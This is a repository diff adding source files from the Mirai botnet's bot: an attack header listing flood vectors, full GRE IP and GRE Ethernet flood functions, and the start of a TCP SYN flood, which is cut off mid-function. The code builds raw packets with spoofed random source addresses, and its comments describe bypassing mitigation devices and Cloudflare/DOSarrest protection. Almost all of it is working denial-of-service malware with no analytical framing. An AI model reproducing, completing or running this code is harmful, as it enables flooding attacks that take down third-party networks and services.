										Executable file
									
								
							| @@ -0,0 +1,170 @@ | ||||
| #pragma once | ||||
|  | ||||
| #include <time.h> | ||||
| #include <arpa/inet.h> | ||||
| #include <linux/ip.h> | ||||
| #include <linux/udp.h> | ||||
| #include <linux/tcp.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "protocol.h" | ||||
|  | ||||
| #define ATTACK_CONCURRENT_MAX   8 | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #define HTTP_CONNECTION_MAX     1000 | ||||
| #else | ||||
| #define HTTP_CONNECTION_MAX     256 | ||||
| #endif | ||||
|  | ||||
| struct attack_target { | ||||
|     struct sockaddr_in sock_addr; | ||||
|     ipv4_t addr; | ||||
|     uint8_t netmask; | ||||
| }; | ||||
|  | ||||
| struct attack_option { | ||||
|     char *val; | ||||
|     uint8_t key; | ||||
| }; | ||||
|  | ||||
| typedef void (*ATTACK_FUNC) (uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
| typedef uint8_t ATTACK_VECTOR; | ||||
|  | ||||
| #define ATK_VEC_UDP        0  /* Straight up UDP flood */ | ||||
| #define ATK_VEC_VSE        1  /* Valve Source Engine query flood */ | ||||
| #define ATK_VEC_DNS        2  /* DNS water torture */ | ||||
| #define ATK_VEC_SYN        3  /* SYN flood with options */ | ||||
| #define ATK_VEC_ACK        4  /* ACK flood */ | ||||
| #define ATK_VEC_STOMP      5  /* ACK flood to bypass mitigation devices */ | ||||
| #define ATK_VEC_GREIP      6  /* GRE IP flood */ | ||||
| #define ATK_VEC_GREETH     7  /* GRE Ethernet flood */ | ||||
| //#define ATK_VEC_PROXY      8  /* Proxy knockback connection */ | ||||
| #define ATK_VEC_UDP_PLAIN  9  /* Plain UDP flood optimized for speed */ | ||||
| #define ATK_VEC_HTTP       10 /* HTTP layer 7 flood */ | ||||
|  | ||||
| #define ATK_OPT_PAYLOAD_SIZE    0   // What should the size of the packet data be? | ||||
| #define ATK_OPT_PAYLOAD_RAND    1   // Should we randomize the packet data contents? | ||||
| #define ATK_OPT_IP_TOS          2   // tos field in IP header | ||||
| #define ATK_OPT_IP_IDENT        3   // ident field in IP header | ||||
| #define ATK_OPT_IP_TTL          4   // ttl field in IP header | ||||
| #define ATK_OPT_IP_DF           5   // Dont-Fragment bit set | ||||
| #define ATK_OPT_SPORT           6   // Should we force a source port? (0 = random) | ||||
| #define ATK_OPT_DPORT           7   // Should we force a dest port? (0 = random) | ||||
| #define ATK_OPT_DOMAIN          8   // Domain name for DNS attack | ||||
| #define ATK_OPT_DNS_HDR_ID      9   // Domain name header ID | ||||
| //#define ATK_OPT_TCPCC           10  // TCP congestion control | ||||
| #define ATK_OPT_URG             11  // TCP URG header flag | ||||
| #define ATK_OPT_ACK             12  // TCP ACK header flag | ||||
| #define ATK_OPT_PSH             13  // TCP PSH header flag | ||||
| #define ATK_OPT_RST             14  // TCP RST header flag | ||||
| #define ATK_OPT_SYN             15  // TCP SYN header flag | ||||
| #define ATK_OPT_FIN             16  // TCP FIN header flag | ||||
| #define ATK_OPT_SEQRND          17  // Should we force the sequence number? (TCP only) | ||||
| #define ATK_OPT_ACKRND          18  // Should we force the ack number? (TCP only) | ||||
| #define ATK_OPT_GRE_CONSTIP     19  // Should the encapsulated destination address be the same as the target? | ||||
| #define ATK_OPT_METHOD			20	// Method for HTTP flood | ||||
| #define ATK_OPT_POST_DATA		21	// Any data to be posted with HTTP flood | ||||
| #define ATK_OPT_PATH            22  // The path for the HTTP flood | ||||
| #define ATK_OPT_HTTPS           23  // Is this URL SSL/HTTPS? | ||||
| #define ATK_OPT_CONNS           24  // Number of sockets to use | ||||
| #define ATK_OPT_SOURCE          25  // Source IP | ||||
|  | ||||
| struct attack_method { | ||||
|     ATTACK_FUNC func; | ||||
|     ATTACK_VECTOR vector; | ||||
| }; | ||||
|  | ||||
| struct attack_stomp_data { | ||||
|     ipv4_t addr; | ||||
|     uint32_t seq, ack_seq; | ||||
|     port_t sport, dport; | ||||
| }; | ||||
|  | ||||
| #define HTTP_CONN_INIT          0 // Inital state | ||||
| #define HTTP_CONN_RESTART       1 // Scheduled to restart connection next spin | ||||
| #define HTTP_CONN_CONNECTING    2 // Waiting for it to connect | ||||
| #define HTTP_CONN_HTTPS_STUFF   3 // Handle any needed HTTPS stuff such as negotiation | ||||
| #define HTTP_CONN_SEND          4 // Sending HTTP request | ||||
| #define HTTP_CONN_SEND_HEADERS  5 // Send HTTP headers  | ||||
| #define HTTP_CONN_RECV_HEADER   6 // Get HTTP headers and check for things like location or cookies etc | ||||
| #define HTTP_CONN_RECV_BODY     7 // Get HTTP body and check for cf iaua mode | ||||
| #define HTTP_CONN_SEND_JUNK		8 // Send as much data as possible | ||||
| #define HTTP_CONN_SNDBUF_WAIT   9 // Wait for socket to be available to be written to | ||||
| #define HTTP_CONN_QUEUE_RESTART 10 // restart the connection/send new request BUT FIRST read any other available data. | ||||
| #define HTTP_CONN_CLOSED        11 // Close connection and move on | ||||
|  | ||||
| #define HTTP_RDBUF_SIZE         1024 | ||||
| #define HTTP_HACK_DRAIN         64 | ||||
| #define HTTP_PATH_MAX           256 | ||||
| #define HTTP_DOMAIN_MAX         128 | ||||
| #define HTTP_COOKIE_MAX         5   // no more then 5 tracked cookies | ||||
| #define HTTP_COOKIE_LEN_MAX     128 // max cookie len | ||||
| #define HTTP_POST_MAX           512 // max post data len | ||||
|  | ||||
| #define HTTP_PROT_DOSARREST     1 // Server: DOSarrest | ||||
| #define HTTP_PROT_CLOUDFLARE    2 // Server: cloudflare-nginx | ||||
|  | ||||
| struct attack_http_state { | ||||
|     int fd; | ||||
|     uint8_t state; | ||||
|     int last_recv; | ||||
|     int last_send; | ||||
|     ipv4_t dst_addr; | ||||
|     char user_agent[512]; | ||||
|     char path[HTTP_PATH_MAX + 1]; | ||||
|     char domain[HTTP_DOMAIN_MAX + 1]; | ||||
|     char postdata[HTTP_POST_MAX + 1]; | ||||
|     char method[9]; | ||||
|     char orig_method[9]; | ||||
|  | ||||
|     int protection_type; | ||||
|  | ||||
|     int keepalive; | ||||
|     int chunked; | ||||
|     int content_length; | ||||
|  | ||||
|     int num_cookies; | ||||
|     char cookies[HTTP_COOKIE_MAX][HTTP_COOKIE_LEN_MAX]; | ||||
|  | ||||
|     int rdbuf_pos; | ||||
|     char rdbuf[HTTP_RDBUF_SIZE]; | ||||
| }; | ||||
|  | ||||
| struct attack_cfnull_state { | ||||
|     int fd; | ||||
|     uint8_t state; | ||||
|     int last_recv; | ||||
|     int last_send; | ||||
|     ipv4_t dst_addr; | ||||
|     char user_agent[512]; | ||||
|     char domain[HTTP_DOMAIN_MAX + 1]; | ||||
|     int to_send; | ||||
| }; | ||||
|  | ||||
| BOOL attack_init(void); | ||||
| void attack_kill_all(void); | ||||
| void attack_parse(char *, int); | ||||
| void attack_start(int, ATTACK_VECTOR, uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
| char *attack_get_opt_str(uint8_t, struct attack_option *, uint8_t, char *); | ||||
| int attack_get_opt_int(uint8_t, struct attack_option *, uint8_t, int); | ||||
| uint32_t attack_get_opt_ip(uint8_t, struct attack_option *, uint8_t, uint32_t); | ||||
|  | ||||
| /* Actual attacks */ | ||||
| void attack_udp_generic(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
| void attack_udp_vse(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
| void attack_udp_dns(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
| void attack_udp_plain(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
|  | ||||
| void attack_tcp_syn(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
| void attack_tcp_ack(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
| void attack_tcp_stomp(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
|  | ||||
| void attack_gre_ip(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
| void attack_gre_eth(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
|  | ||||
| void attack_app_proxy(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
| void attack_app_http(uint8_t, struct attack_target *, uint8_t, struct attack_option *); | ||||
|  | ||||
| static void add_attack(ATTACK_VECTOR, ATTACK_FUNC); | ||||
| static void free_opts(struct attack_option *, int); | ||||
							
								
								
									
										1175
									
								
								mirai/bot/attack_app.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										1175
									
								
								mirai/bot/attack_app.c
									
									
									
									
									
										Executable file
									
								
							
										
											
												File diff suppressed because it is too large
												Load Diff
											
										
									
								
							
							
								
								
									
										318
									
								
								mirai/bot/attack_gre.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										318
									
								
								mirai/bot/attack_gre.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,318 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #include <stdio.h> | ||||
| #endif | ||||
| #include <stdlib.h> | ||||
| #include <unistd.h> | ||||
| #include <sys/socket.h> | ||||
| #include <linux/ip.h> | ||||
| #include <linux/if_ether.h> | ||||
| #include <errno.h> | ||||
|  | ||||
| #include "includes.h" | ||||
| #include "attack.h" | ||||
| #include "protocol.h" | ||||
| #include "util.h" | ||||
| #include "checksum.h" | ||||
| #include "rand.h" | ||||
|  | ||||
| void attack_gre_ip(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||||
| { | ||||
|     int i, fd; | ||||
|     char **pkts = calloc(targs_len, sizeof (char *)); | ||||
|     uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); | ||||
|     uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); | ||||
|     uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); | ||||
|     BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); | ||||
|     port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); | ||||
|     port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); | ||||
|     int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); | ||||
|     BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); | ||||
|     BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE); | ||||
|     uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); | ||||
|  | ||||
|     if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to create raw socket. Aborting attack\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|     i = 1; | ||||
|     if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to set IP_HDRINCL. Aborting\n"); | ||||
| #endif | ||||
|         close(fd); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     for (i = 0; i < targs_len; i++) | ||||
|     { | ||||
|         struct iphdr *iph; | ||||
|         struct grehdr *greh; | ||||
|         struct iphdr *greiph; | ||||
|         struct udphdr *udph; | ||||
|  | ||||
|         pkts[i] = calloc(1510, sizeof (char *)); | ||||
|         iph = (struct iphdr *)(pkts[i]); | ||||
|         greh = (struct grehdr *)(iph + 1); | ||||
|         greiph = (struct iphdr *)(greh + 1); | ||||
|         udph = (struct udphdr *)(greiph + 1); | ||||
|  | ||||
|         // IP header init | ||||
|         iph->version = 4; | ||||
|         iph->ihl = 5; | ||||
|         iph->tos = ip_tos; | ||||
|         iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); | ||||
|         iph->id = htons(ip_ident); | ||||
|         iph->ttl = ip_ttl; | ||||
|         if (dont_frag) | ||||
|             iph->frag_off = htons(1 << 14); | ||||
|         iph->protocol = IPPROTO_GRE; | ||||
|         iph->saddr = source_ip; | ||||
|         iph->daddr = targs[i].addr; | ||||
|  | ||||
|         // GRE header init | ||||
|         greh->protocol = htons(ETH_P_IP); // Protocol is 2 bytes | ||||
|  | ||||
|         // Encapsulated IP header init | ||||
|         greiph->version = 4; | ||||
|         greiph->ihl = 5; | ||||
|         greiph->tos = ip_tos; | ||||
|         greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); | ||||
|         greiph->id = htons(~ip_ident); | ||||
|         greiph->ttl = ip_ttl; | ||||
|         if (dont_frag) | ||||
|             greiph->frag_off = htons(1 << 14); | ||||
|         greiph->protocol = IPPROTO_UDP; | ||||
|         greiph->saddr = rand_next(); | ||||
|         if (gcip) | ||||
|             greiph->daddr = iph->daddr; | ||||
|         else | ||||
|             greiph->daddr = ~(greiph->saddr - 1024); | ||||
|  | ||||
|         // UDP header init | ||||
|         udph->source = htons(sport); | ||||
|         udph->dest = htons(dport); | ||||
|         udph->len = htons(sizeof (struct udphdr) + data_len); | ||||
|     } | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         for (i = 0; i < targs_len; i++) | ||||
|         { | ||||
|             char *pkt = pkts[i]; | ||||
|             struct iphdr *iph = (struct iphdr *)pkt; | ||||
|             struct grehdr *greh = (struct grehdr *)(iph + 1); | ||||
|             struct iphdr *greiph = (struct iphdr *)(greh + 1); | ||||
|             struct udphdr *udph = (struct udphdr *)(greiph + 1); | ||||
|             char *data = (char *)(udph + 1); | ||||
|  | ||||
|             // For prefix attacks | ||||
|             if (targs[i].netmask < 32) | ||||
|                 iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); | ||||
|  | ||||
|             if (source_ip == 0xffffffff) | ||||
|                 iph->saddr = rand_next(); | ||||
|  | ||||
|             if (ip_ident == 0xffff) | ||||
|             { | ||||
|                 iph->id = rand_next() & 0xffff; | ||||
|                 greiph->id = ~(iph->id - 1000); | ||||
|             } | ||||
|             if (sport == 0xffff) | ||||
|                 udph->source = rand_next() & 0xffff; | ||||
|             if (dport == 0xffff) | ||||
|                 udph->dest = rand_next() & 0xffff; | ||||
|  | ||||
|             if (!gcip) | ||||
|                 greiph->daddr = rand_next(); | ||||
|             else | ||||
|                 greiph->daddr = iph->daddr; | ||||
|  | ||||
|             if (data_rand) | ||||
|                 rand_str(data, data_len); | ||||
|  | ||||
|             iph->check = 0; | ||||
|             iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); | ||||
|  | ||||
|             greiph->check = 0; | ||||
|             greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr)); | ||||
|  | ||||
|             udph->check = 0; | ||||
|             udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len); | ||||
|  | ||||
|             targs[i].sock_addr.sin_family = AF_INET; | ||||
|             targs[i].sock_addr.sin_addr.s_addr = iph->daddr; | ||||
|             targs[i].sock_addr.sin_port = 0; | ||||
|             sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); | ||||
|         } | ||||
|  | ||||
| #ifdef DEBUG | ||||
|         if (errno != 0) | ||||
|             printf("errno = %d\n", errno); | ||||
|         break; | ||||
| #endif | ||||
|     } | ||||
| } | ||||
|  | ||||
| void attack_gre_eth(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||||
| { | ||||
|     int i, fd; | ||||
|     char **pkts = calloc(targs_len, sizeof (char *)); | ||||
|     uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); | ||||
|     uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); | ||||
|     uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); | ||||
|     BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); | ||||
|     port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); | ||||
|     port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); | ||||
|     int data_len = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_SIZE, 512); | ||||
|     BOOL data_rand = attack_get_opt_int(opts_len, opts, ATK_OPT_PAYLOAD_RAND, TRUE); | ||||
|     BOOL gcip = attack_get_opt_int(opts_len, opts, ATK_OPT_GRE_CONSTIP, FALSE); | ||||
|     uint32_t source_ip = attack_get_opt_int(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); | ||||
|  | ||||
|     if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to create raw socket. Aborting attack\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|     i = 1; | ||||
|     if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to set IP_HDRINCL. Aborting\n"); | ||||
| #endif | ||||
|         close(fd); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     for (i = 0; i < targs_len; i++) | ||||
|     { | ||||
|         struct iphdr *iph; | ||||
|         struct grehdr *greh; | ||||
|         struct ethhdr *ethh; | ||||
|         struct iphdr *greiph; | ||||
|         struct udphdr *udph; | ||||
|         uint32_t ent1, ent2, ent3; | ||||
|  | ||||
|         pkts[i] = calloc(1510, sizeof (char *)); | ||||
|         iph = (struct iphdr *)(pkts[i]); | ||||
|         greh = (struct grehdr *)(iph + 1); | ||||
|         ethh = (struct ethhdr *)(greh + 1); | ||||
|         greiph = (struct iphdr *)(ethh + 1); | ||||
|         udph = (struct udphdr *)(greiph + 1); | ||||
|  | ||||
|         // IP header init | ||||
|         iph->version = 4; | ||||
|         iph->ihl = 5; | ||||
|         iph->tos = ip_tos; | ||||
|         iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); | ||||
|         iph->id = htons(ip_ident); | ||||
|         iph->ttl = ip_ttl; | ||||
|         if (dont_frag) | ||||
|             iph->frag_off = htons(1 << 14); | ||||
|         iph->protocol = IPPROTO_GRE; | ||||
|         iph->saddr = source_ip; | ||||
|         iph->daddr = targs[i].addr; | ||||
|  | ||||
|         // GRE header init | ||||
|         greh->protocol = htons(PROTO_GRE_TRANS_ETH); // Protocol is 2 bytes | ||||
|  | ||||
|         // Ethernet header init | ||||
|         ethh->h_proto = htons(ETH_P_IP); | ||||
|  | ||||
|         // Encapsulated IP header init | ||||
|         greiph->version = 4; | ||||
|         greiph->ihl = 5; | ||||
|         greiph->tos = ip_tos; | ||||
|         greiph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) + data_len); | ||||
|         greiph->id = htons(~ip_ident); | ||||
|         greiph->ttl = ip_ttl; | ||||
|         if (dont_frag) | ||||
|             greiph->frag_off = htons(1 << 14); | ||||
|         greiph->protocol = IPPROTO_UDP; | ||||
|         greiph->saddr = rand_next(); | ||||
|         if (gcip) | ||||
|             greiph->daddr = iph->daddr; | ||||
|         else | ||||
|             greiph->daddr = ~(greiph->saddr - 1024); | ||||
|  | ||||
|         // UDP header init | ||||
|         udph->source = htons(sport); | ||||
|         udph->dest = htons(dport); | ||||
|         udph->len = htons(sizeof (struct udphdr) + data_len); | ||||
|     } | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         for (i = 0; i < targs_len; i++) | ||||
|         { | ||||
|             char *pkt = pkts[i]; | ||||
|             struct iphdr *iph = (struct iphdr *)pkt; | ||||
|             struct grehdr *greh = (struct grehdr *)(iph + 1); | ||||
|             struct ethhdr *ethh = (struct ethhdr *)(greh + 1); | ||||
|             struct iphdr *greiph = (struct iphdr *)(ethh + 1); | ||||
|             struct udphdr *udph = (struct udphdr *)(greiph + 1); | ||||
|             char *data = (char *)(udph + 1); | ||||
|             uint32_t ent1, ent2, ent3; | ||||
|  | ||||
|             // For prefix attacks | ||||
|             if (targs[i].netmask < 32) | ||||
|                 iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); | ||||
|  | ||||
|             if (source_ip == 0xffffffff) | ||||
|                 iph->saddr = rand_next(); | ||||
|  | ||||
|             if (ip_ident == 0xffff) | ||||
|             { | ||||
|                 iph->id = rand_next() & 0xffff; | ||||
|                 greiph->id = ~(iph->id - 1000); | ||||
|             } | ||||
|             if (sport == 0xffff) | ||||
|                 udph->source = rand_next() & 0xffff; | ||||
|             if (dport == 0xffff) | ||||
|                 udph->dest = rand_next() & 0xffff; | ||||
|  | ||||
|             if (!gcip) | ||||
|                 greiph->daddr = rand_next(); | ||||
|             else | ||||
|                 greiph->daddr = iph->daddr; | ||||
|  | ||||
|             ent1 = rand_next(); | ||||
|             ent2 = rand_next(); | ||||
|             ent3 = rand_next(); | ||||
|             util_memcpy(ethh->h_dest, (char *)&ent1, 4); | ||||
|             util_memcpy(ethh->h_source, (char *)&ent2, 4); | ||||
|             util_memcpy(ethh->h_dest + 4, (char *)&ent3, 2); | ||||
|             util_memcpy(ethh->h_source + 4, (((char *)&ent3)) + 2, 2); | ||||
|  | ||||
|             if (data_rand) | ||||
|                 rand_str(data, data_len); | ||||
|  | ||||
|             iph->check = 0; | ||||
|             iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); | ||||
|  | ||||
|             greiph->check = 0; | ||||
|             greiph->check = checksum_generic((uint16_t *)greiph, sizeof (struct iphdr)); | ||||
|  | ||||
|             udph->check = 0; | ||||
|             udph->check = checksum_tcpudp(greiph, udph, udph->len, sizeof (struct udphdr) + data_len); | ||||
|  | ||||
|             targs[i].sock_addr.sin_family = AF_INET; | ||||
|             targs[i].sock_addr.sin_addr.s_addr = iph->daddr; | ||||
|             targs[i].sock_addr.sin_port = 0; | ||||
|             sendto(fd, pkt, sizeof (struct iphdr) + sizeof (struct grehdr) + sizeof (struct ethhdr) + sizeof (struct iphdr) + sizeof (struct udphdr) + data_len, MSG_NOSIGNAL, (struct sockaddr *)&targs[i].sock_addr, sizeof (struct sockaddr_in)); | ||||
|         } | ||||
|  | ||||
| #ifdef DEBUG | ||||
|         if (errno != 0) | ||||
|             printf("errno = %d\n", errno); | ||||
|         break; | ||||
| #endif | ||||
|     } | ||||
| } | ||||
							
								
								
									
										489
									
								
								mirai/bot/attack_tcp.c
									
									
									
									
									
										Executable file
									
								
							
							
						
						
									
										489
									
								
								mirai/bot/attack_tcp.c
									
									
									
									
									
										Executable file
									
								
							| @@ -0,0 +1,489 @@ | ||||
| #define _GNU_SOURCE | ||||
|  | ||||
| #ifdef DEBUG | ||||
| #include <stdio.h> | ||||
| #endif | ||||
| #include <stdlib.h> | ||||
| #include <unistd.h> | ||||
| #include <sys/socket.h> | ||||
| #include <linux/ip.h> | ||||
| #include <linux/tcp.h> | ||||
| #include <fcntl.h> | ||||
| #include <errno.h> | ||||
| #include "includes.h" | ||||
| #include "attack.h" | ||||
| #include "checksum.h" | ||||
| #include "rand.h" | ||||
|  | ||||
| void attack_tcp_syn(uint8_t targs_len, struct attack_target *targs, uint8_t opts_len, struct attack_option *opts) | ||||
| { | ||||
|     int i, fd; | ||||
|     char **pkts = calloc(targs_len, sizeof (char *)); | ||||
|     uint8_t ip_tos = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TOS, 0); | ||||
|     uint16_t ip_ident = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_IDENT, 0xffff); | ||||
|     uint8_t ip_ttl = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_TTL, 64); | ||||
|     BOOL dont_frag = attack_get_opt_int(opts_len, opts, ATK_OPT_IP_DF, TRUE); | ||||
|     port_t sport = attack_get_opt_int(opts_len, opts, ATK_OPT_SPORT, 0xffff); | ||||
|     port_t dport = attack_get_opt_int(opts_len, opts, ATK_OPT_DPORT, 0xffff); | ||||
|     uint32_t seq = attack_get_opt_int(opts_len, opts, ATK_OPT_SEQRND, 0xffff); | ||||
|     uint32_t ack = attack_get_opt_int(opts_len, opts, ATK_OPT_ACKRND, 0); | ||||
|     BOOL urg_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_URG, FALSE); | ||||
|     BOOL ack_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_ACK, FALSE); | ||||
|     BOOL psh_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_PSH, FALSE); | ||||
|     BOOL rst_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_RST, FALSE); | ||||
|     BOOL syn_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_SYN, TRUE); | ||||
|     BOOL fin_fl = attack_get_opt_int(opts_len, opts, ATK_OPT_FIN, FALSE); | ||||
|     uint32_t source_ip = attack_get_opt_ip(opts_len, opts, ATK_OPT_SOURCE, LOCAL_ADDR); | ||||
|  | ||||
|     if ((fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to create raw socket. Aborting attack\n"); | ||||
| #endif | ||||
|         return; | ||||
|     } | ||||
|      | ||||
|     i = 1; | ||||
|     if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, &i, sizeof (int)) == -1) | ||||
|     { | ||||
| #ifdef DEBUG | ||||
|         printf("Failed to set IP_HDRINCL. Aborting\n"); | ||||
| #endif | ||||
|         close(fd); | ||||
|         return; | ||||
|     } | ||||
|  | ||||
|     for (i = 0; i < targs_len; i++) | ||||
|     { | ||||
|         struct iphdr *iph; | ||||
|         struct tcphdr *tcph; | ||||
|         uint8_t *opts; | ||||
|  | ||||
|         pkts[i] = calloc(128, sizeof (char)); | ||||
|         iph = (struct iphdr *)pkts[i]; | ||||
|         tcph = (struct tcphdr *)(iph + 1); | ||||
|         opts = (uint8_t *)(tcph + 1); | ||||
|  | ||||
|         iph->version = 4; | ||||
|         iph->ihl = 5; | ||||
|         iph->tos = ip_tos; | ||||
|         iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr) + 20); | ||||
|         iph->id = htons(ip_ident); | ||||
|         iph->ttl = ip_ttl; | ||||
|         if (dont_frag) | ||||
|             iph->frag_off = htons(1 << 14); | ||||
|         iph->protocol = IPPROTO_TCP; | ||||
|         iph->saddr = source_ip; | ||||
|         iph->daddr = targs[i].addr; | ||||
|  | ||||
|         tcph->source = htons(sport); | ||||
|         tcph->dest = htons(dport); | ||||
|         tcph->seq = htons(seq); | ||||
|         tcph->doff = 10; | ||||
|         tcph->urg = urg_fl; | ||||
|         tcph->ack = ack_fl; | ||||
|         tcph->psh = psh_fl; | ||||
|         tcph->rst = rst_fl; | ||||
|         tcph->syn = syn_fl; | ||||
|         tcph->fin = fin_fl; | ||||
|  | ||||
|         // TCP MSS | ||||
|         *opts++ = PROTO_TCP_OPT_MSS;    // Kind | ||||
|         *opts++ = 4;                    // Length | ||||
|         *((uint16_t *)opts) = htons(1400 + (rand_next() & 0x0f)); | ||||
|         opts += sizeof (uint16_t); | ||||
|  | ||||
|         // TCP SACK permitted | ||||
|         *opts++ = PROTO_TCP_OPT_SACK; | ||||
|         *opts++ = 2; | ||||
|  | ||||
|         // TCP timestamps | ||||
|         *opts++ = PROTO_TCP_OPT_TSVAL; | ||||
|         *opts++ = 10; | ||||
|         *((uint32_t *)opts) = rand_next(); | ||||
|         opts += sizeof (uint32_t); | ||||
|         *((uint32_t *)opts) = 0; | ||||
|         opts += sizeof (uint32_t); | ||||
|  | ||||
|         // TCP nop | ||||
|         *opts++ = 1; | ||||
|  | ||||
|         // TCP window scale | ||||
|         *opts++ = PROTO_TCP_OPT_WSS; | ||||
|         *opts++ = 3; | ||||
|         *opts++ = 6; // 2^6 = 64, window size scale = 64 | ||||
|     } | ||||
|  | ||||
|     while (TRUE) | ||||
|     { | ||||
|         for (i = 0; i < targs_len; i++) | ||||
|         { | ||||
|             char *pkt = pkts[i]; | ||||
|             struct iphdr *iph = (struct iphdr *)pkt; | ||||
|             struct tcphdr *tcph = (struct tcphdr *)(iph + 1); | ||||
|              | ||||
|             // For prefix attacks | ||||
|             if (targs[i].netmask < 32) | ||||
|                 iph->daddr = htonl(ntohl(targs[i].addr) + (((uint32_t)rand_next()) >> targs[i].netmask)); | ||||
|  | ||||
|             if (source_ip == 0xffffffff) | ||||
|                 iph->saddr = rand_next(); | ||||
|             if (ip_ident == 0xffff) | ||||
|                 iph->id = rand_next() & 0xffff; | ||||
|             if (sport == 0xffff) | ||||
|                 tcph->source = rand_next() & 0xffff; | ||||
|             if (dport == 0xffff) | ||||
|                 tcph->dest = rand_next() & 0xffff; | ||||
|             if (seq == 0xffff) | ||||
|                 tcph->seq = rand_next(); | ||||
|             if (ack == 0xffff) | ||||
|                 tcph->ack_seq = rand_next(); | ||||
|             if (urg_fl) | ||||
|                 tcph->urg_ptr = rand_next() & 0xffff; | ||||
|  | ||||
|             iph->check = 0; | ||||
|             iph->check = checksum_generic((uint16_t *)iph, sizeof (struct iphdr)); | ||||
|  | ||||
|             tcph->check = 0; | ||||
